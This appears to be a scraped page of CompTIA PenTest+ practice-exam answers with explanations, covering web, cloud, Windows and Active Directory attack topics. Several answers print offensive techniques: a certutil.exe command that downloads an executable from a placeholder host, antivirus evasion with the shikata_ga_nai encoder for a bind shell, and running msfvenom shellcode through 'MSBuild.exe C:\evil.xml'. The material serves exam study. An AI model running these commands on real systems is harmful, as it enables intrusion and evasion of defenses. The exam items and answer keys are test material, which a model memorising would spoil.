PT0-003 CompTIA PenTest+ Exam Free Practice Exam Questions (2026 Updated)

Cross-site scripting (XSS) is a client-side attack where an attacker injects malicious scripts into a web page viewed by other users. When executed in a browser, it can steal session cookies, perform unauthorized transactions, or execute malicious actions on behalf of the victim.

Option D (Cross-site scripting) is correct because XSS can manipulate client-side input validation to execute unauthorized transactions.

Option A (Privilege escalation) is incorrect because it involves gaining higher privileges on a system, not attacking input validation in a web application.

Option B (DOM injection) is incorrect because DOM-based attacks manipulate browser-side JavaScript but are not necessarily used for unauthorized transactions.

Option C (Session hijacking) is incorrect because session hijacking requires capturing a valid user session, whereas XSS can steal session tokens for this purpose.

The correct answer is C. aws ec2 describe-instances --dry-run

The tester wants to confirm whether the compromised user has access to Amazon cloud compute resources. Amazon EC2 is the primary AWS compute service, and describe-instances is used to enumerate EC2 instances.

The --dry-run option is important because it checks whether the caller has permission to perform the action without actually returning instance data. If the user has permission, AWS returns a DryRunOperation message. If the user does not have permission, AWS returns an UnauthorizedOperation message.

This makes it a lower-impact and less noisy way to validate EC2 access compared with fully enumerating cloud resources.

A is incorrect because aws sts get-caller-identity only confirms the AWS identity associated with the credentials. It does not confirm access to EC2 or other compute resources.

B is incorrect because aws connect describe-user relates to Amazon Connect, not Amazon EC2 compute access.

D is incorrect because AWS Cloud9 is a cloud-based development environment. Listing Cloud9 environments does not confirm access to EC2 production compute resources as directly as an EC2 dry-run permission check.

In PenTest+ terms, this falls under Information Gathering and Vulnerability Scanning, specifically cloud enumeration and low-impact validation of cloud permissions.

Certutil.exe for File Downloads:

certutil.exe is a native Windows utility primarily used for managing certificates but can also be leveraged to download files from the internet.

Example command:

bash

Copy code

certutil.exe -urlcache -split -f http://example.com/file.exe file.exe

Its native status helps it evade detection by security tools.

Why Not Other Options?

A (netsh.exe): Used for network configuration but not for downloading files.

C (nc.exe): Netcat is not native to Windows and would need to be introduced to the system.

D (cmdkey.exe): Used for managing stored credentials, not downloading files.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

The syntax (1..254) is incorrect in Bash, as it uses brace expansion or seq for looping. The correct syntax should be:

for i in $(seq 1 254)

Also, the missing do is an issue, but the syntax error mentioned points specifically to the loop structure. Fixing the sequence format resolves it.

Corrected script:

#!/bin/bash

for i in $(seq 1 254); do

ping -c1 192.168.1.$i

done

From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 4 – Scanning & Enumeration):

“Bash scripting is commonly used for automation in enumeration. The ' seq ' command generates a sequence of numbers for iteration in loops.”

The correct answer is C. Session hijacking

The cookie value is only Base64 encoded, not encrypted or cryptographically protected. When decoded, it reveals a username and a numeric value:

Pentestuser:91536

After logging in again, the numeric value changes:

Pentestuser:91944

This strongly suggests the application may be storing a session identifier or authentication token in a predictable or weakly protected format. A penetration tester would most likely test whether the session value can be guessed, reused, modified, or replayed to take over another user’s session. That type of attack is session hijacking.

A is incorrect because a collision attack involves finding two different inputs that produce the same hash value. This scenario does not involve hash collision testing.

B is incorrect because JWT manipulation applies to JSON Web Tokens, which typically have three Base64URL-encoded sections separated by periods, such as header.payload.signature. The cookie shown is not a JWT.

D is incorrect because insecure direct object reference involves manipulating object identifiers, such as account IDs, invoice numbers, or file IDs, to access unauthorized resources. The issue here is related to authentication/session handling, not direct object access.

In PenTest+ terms, this falls under Attacks and Exploits, specifically web application attacks involving weak session management, predictable session tokens, and session hijacking.

STRIDE is a threat classification model created by Microsoft that breaks down threats into six categories:

Spoofing

Tampering

Repudiation

Information disclosure

Denial of Service

Elevation of privilege

It is specifically designed for threat modeling.

PTES is a general pentesting methodology.

OSSTMM is a framework for operational security testing.

OCTAVE is a risk assessment methodology, not focused on threat classification.

SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs. Here’s why option B is the most likely technique:

Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application ' s input handling to execute unintended SQL commands on the database.

Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.

Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web applications, making it a likely technique that a penetration tester would use to exploit input handling issues in an internal application.

References from Pentest:

Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction​​.

Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data​​.

Conclusion:

Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.

======

When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information. Here’s why:

Code Repository Scanning:

Leaked Information: Code repositories (e.g., GitHub, GitLab) often contain sensitive information, including API keys, configuration files, and even credentials that developers might inadvertently commit.

Accessible: These repositories can often be accessed publicly, bypassing traditional defenses like WAFs.

Comparison with Other Methods:

HTML Scraping: Limited to the data present on web pages and can still be blocked by WAF.

Directory Enumeration: Likely to be blocked by WAF as well and might not yield significant internal information.

Port Scanning: Also likely to be blocked or trigger alerts on WAF or IDS/IPS systems.

Scanning code repositories allows gathering a wide range of information that can be critical for further penetration testing effort

======

An external attack surface review focuses on identifying publicly accessible assets that an attacker could exploit. The first step in this process is information gathering, which involves enumerating domains, subdomains, public IPs, DNS records, and other internet-facing resources. This is done using passive reconnaissance tools such as Whois, Shodan, Google Dorking, and OSINT techniques.

Option A is correct because it aligns with the assessment goal—finding public-facing systems and their vulnerabilities before an attacker does.

Option B (phishing assessment) is incorrect because it involves social engineering, which is not part of an external attack surface review.

Option C (physical security review) is incorrect as it pertains to physical penetration testing, not an external attack analysis.

Option D (vulnerability assessment) is incorrect because a vulnerability assessment is a later step after reconnaissance. The first step is identifying assets through information gathering.

The correct answer is B. It ensures results can be independently verified.

Including attack steps in a penetration test report is important because it gives the client a clear, repeatable path showing how the vulnerability was discovered, exploited, and validated. This allows technical teams, auditors, or another tester to independently confirm the finding and understand the evidence behind it.

A is incorrect because recommended mitigations are usually included in a separate remediation or recommendations section. Attack steps may support mitigation planning, but that is not their primary purpose.

C is incorrect because the report is not intended to prove the tester’s competency. It is intended to communicate findings, evidence, impact, and remediation guidance.

D is incorrect because attack steps may help show complexity, but their main value is reproducibility and verification of results.

In PenTest+ terms, this falls under Reporting and Communication, specifically documentation quality, reproducibility, evidence support, and validation of penetration testing findings.

BAS (Breach and Attack Simulation) tools are specifically designed to emulate multiple TTPs (Tactics, Techniques, and Procedures) used by adversaries. These tools can simulate various attack vectors in a controlled manner to test the effectiveness of an organization ' s security defenses and response mechanisms. Here’s why option A is the best choice:

Controlled Testing Environment: BAS tools provide a controlled environment where multiple TTPs can be tested without causing unintended damage to the internal systems and servers. This is critical when the threat-modeling team indicates potential impacts on internal systems.

Comprehensive Coverage: BAS tools are designed to cover a wide range of TTPs, allowing the penetration tester to simulate various attack scenarios. This helps in assessing the reactions (alerted, blocked, and others) by the client ' s security tools comprehensively.

Feedback and Reporting: These tools provide detailed feedback and reporting on the effectiveness of the security measures in place, including which TTPs were detected, blocked, or went unnoticed. This information is invaluable for the threat-modeling team to understand the current security posture and areas for improvement.

References from Pentest:

Anubis HTB: This write-up highlights the importance of using controlled tools and methods for testing security mechanisms. BAS tools align with this approach by providing a controlled and systematic way to assess security defenses​​.

Forge HTB: Emphasizes the use of various testing tools and techniques to simulate real-world attacks and measure the effectiveness of security controls. BAS tools are mentioned as a method to ensure comprehensive coverage and minimal risk to internal systems​​.

Conclusion:

Using a BAS tool to test multiple TTPs allows for a thorough and controlled assessment of the client ' s security tools ' effectiveness. This approach ensures that the testing is systematic, comprehensive, and minimally disruptive, making it the best choice.

======

The rpcclient prompt indicates that the tester has connected to a system using an RPC client, commonly associated with Samba/SMB enumeration. From this interface, a tester can query information exposed through Microsoft RPC interfaces, including users, groups, domain information, shares, privileges, and security identifiers, depending on the level of access granted. Commands such as enumdomusers , queryuser , enumdomgroups , and related RPC calls are commonly used for account and domain enumeration. This makes “query local users on the system” the best answer. The tool does not inherently dump the SAM database or extract password hashes; that would require privileged file or registry access and different tooling, such as hash dumping utilities or post-exploitation frameworks. Enumerating session tokens is a local privilege/post-exploitation activity, not the primary purpose of rpcclient . Changing Resultant Set of Policy would require administrative control over Group Policy infrastructure and is not a normal RPC enumeration function. This aligns with study-guide topics covering SMB/RPC enumeration, network service discovery, account enumeration, and authenticated versus unauthenticated information gathering.

The correct construct for handling runtime failures (for example, login failures, network timeouts, or server errors) in Python is a try/except block (option C). Wrapping potentially failing operations in a try block and handling exceptions in except allows the script to catch the exception and continue execution (log the error, skip the target, retry, etc.) rather than crashing.

Why C is correct:

try/except is the Python mechanism to handle exceptions raised during execution. For network/email operations (IMAP login/select), IMAP libraries raise exceptions on failure — try/except catches these and enables recovery logic.

Example corrected snippet:

import imaplib, sys

def enumerate_inbox(server, port, user, passwd):

try:

mail = imaplib.IMAP4(server, port)

mail.login(user, passwd)

status, messages = mail.select( " inbox " )

print(f " Total Emails: {int(messages[0])} " )

except imaplib.IMAP4.error as e:

print(f " IMAP error for {user}: {e} " )

# continue to next account or retry

except Exception as e:

print(f " Unexpected error for {user}: {e} " )

finally:

try:

mail.logout()

except:

pass

Why the other options are not the best fit:

A. do/while loop: Python has no native do/while; loops alone won’t catch exceptions — they may repeat the crash.

B. iterator: Iterators control iteration over collections, not exception handling.

D. if/else conditional: Conditionals can test return values but cannot handle exceptions thrown by library calls; they are not sufficient to prevent the script from aborting when an exception is raised.

CompTIA PT0-003 Mapping:

Domain 4.0 Tools and Code Analysis — basic defensive programming and error handling when writing or reviewing scripts used in engagements (use exception handling to make enumeration tools robust and predictable).

When a penetration tester obtains an NTLM hash from a legacy Windows machine, they need to use a tool that can leverage this hash for further attacks, such as pass-the-hash attacks, or for cracking the hash. Here’s a breakdown of the options:

Option A: Responder

Responder is primarily used for poisoning LLMNR, NBT-NS, and MDNS to capture hashes, but not for leveraging NTLM hashes obtained post-exploitation.

Option B: Hydra

Hydra is a password-cracking tool but not specifically designed for NTLM hashes or pass-the-hash attacks.

Option C: BloodHound

BloodHound is used for mapping out Active Directory relationships and identifying potential attack paths but not for using NTLM hashes directly.

Option D: CrackMapExec

CrackMapExec is a versatile tool that can perform pass-the-hash attacks, execute commands, and more using NTLM hashes. It is designed for post-exploitation scenarios involving NTLM hashes.

References from Pentest:

Forge HTB: Demonstrates the use of CrackMapExec for leveraging NTLM hashes to gain further access within a network​​.

Horizontall HTB: Shows how CrackMapExec can be used for various post-exploitation activities, including using NTLM hashes to authenticate and execute commands​​.

Conclusion:

Option D, CrackMapExec, is the most suitable tool for continuing the attack using an NTLM hash. It supports pass-the-hash techniques and other operations that can leverage NTLM hashes effectively.

======

When testing a power plant ' s network and needing to avoid disruption to the grid, configuring a port mirror and reviewing the network traffic is the most appropriate method to identify vulnerabilities without causing disruptions.

Port Mirroring:

Definition: Port mirroring (SPAN - Switched Port Analyzer) is a method of monitoring network traffic by duplicating packets from one or more switch ports to another port where a monitoring device is connected.

Purpose: Allows passive monitoring of network traffic without impacting network operations or device performance.

Avoiding Disruption:

Non-Intrusive: Port mirroring is non-intrusive and does not generate additional traffic or load on the network devices, making it suitable for sensitive environments like power plants where disruption is not acceptable.

Other Options:

Network Scanner Engine: Active scanning might disrupt network operations or devices, which is not suitable for critical infrastructure.

Testing Framework: Validating vulnerabilities on devices might involve active testing, which can be disruptive.

Network Mapper Tool: Running a network mapper tool (like Nmap) actively scans the network and might disrupt services.

Pentest References:

Passive Monitoring: Passive techniques such as port mirroring are essential in environments where maintaining operational integrity is critical.

Critical Infrastructure Security: Understanding the need for non-disruptive methods in critical infrastructure penetration testing to ensure continuous operations.

By configuring a port mirror and reviewing network traffic, the penetration tester can identify vulnerabilities in the power plant ' s network without risking disruption to the grid.

======

A rootkit is a type of malicious software designed to provide an attacker with unauthorized access to a computer system while concealing its presence. Rootkits achieve this by modifying the host’s operating system or other software to hide their existence, allowing the attacker to maintain control over the system without detection.

Definition and Purpose:

Rootkits are primarily used to gain and maintain root access (administrative privileges) on a system.

They disguise themselves as legitimate software or integrate deeply into the operating system to avoid detection.

Mechanisms of Action:

Kernel Mode Rootkits: These operate at the kernel level, which is the core of the operating system, making them very powerful and hard to detect.

User Mode Rootkits: These run in the same space as user applications, intercepting and altering standard system API calls to hide their presence.

Bootkits: These infect the Master Boot Record (MBR) or Volume Boot Record (VBR) and load before the operating system, making them extremely difficult to detect and remove.

Detection and Prevention:

Detection Tools: Tools like RootkitRevealer, Chkrootkit, and rkhunter can help in identifying rootkits.

Prevention: Regular system updates, use of strong antivirus and anti-malware solutions, and integrity checking tools like Tripwire can help in preventing rootkit infections.

Real-World Examples:

Sony BMG Rootkit: In 2005, Sony BMG included a rootkit in their digital rights management (DRM) software on music CDs. The rootkit hid files and processes, leading to a major scandal when it was discovered.

Stuxnet: This sophisticated worm included a rootkit component to hide its presence on infected systems, making it one of the most infamous examples of rootkit use in a cyber attack.

References from Pentesting Literature:

In " Penetration Testing - A Hands-on Introduction to Hacking " by Georgia Weidman, rootkits are discussed in the context of post-exploitation, where maintaining access to the compromised system is crucial.

Various HTB write-ups, such as the analysis of complex attacks involving multiple stages of exploitation, often highlight the use of rootkits in maintaining persistent access.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups on sophisticated attacks

======

Using shikata_ga_nai:

This encoder obfuscates the payload, making it harder for antimalware to detect.

The command specifies a bind shell (windows/bind_tcp) payload, targeting Windows with architecture x86-64.

Why Not Other Options?

B, C: These commands generate payloads but do not use an encoder, increasing the likelihood of detection by antimalware.

D: This command is unrelated to generating shellcode; it appears to be an attempt to manipulate accounts.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member. Here’s why:

Internal Peer Review:

Familiarity with the Project: A team member who worked on the project or is familiar with the methodologies used can provide a detailed and context-aware review.

Quality Assurance: This review helps catch any errors, omissions, or inconsistencies in the report before it reaches the client.

Alternative Review Options:

A Generative AI Assistant: While useful for drafting and checking for language issues, it may not fully understand the context and technical details of the penetration test.

The Customer ' s Designated Contact: Typically, the client reviews the report after the internal review to provide their perspective and request clarifications or additional details.

A Cybersecurity Industry Peer: Although valuable, this option might not be practical due to confidentiality concerns and the peer’s lack of specific context regarding the engagement.

In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.

======

The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:

Understanding MSBuild.exe:

Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It’s commonly used to build .NET applications and can also execute code embedded in project files.

Command Usage:

Command: MSBuild.exe C:\evil.xml

This command tells MSBuild to process the evil.xml file, which contains the C# shellcode. MSBuild will compile and execute the code, leading to the payload execution.

Comparison with Other Commands:

regsvr32 /s /n /u C:\evil.xml: Used to register or unregister DLLs, not suitable for executing C# code.

mshta.exe C:\evil.xml: Used to execute HTML applications (HTA files), not suitable for XML containing C# code.

AppInstaller.exe C:\evil.xml: Used to install AppX packages, not relevant for executing C# code embedded in an XML file.

Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.

======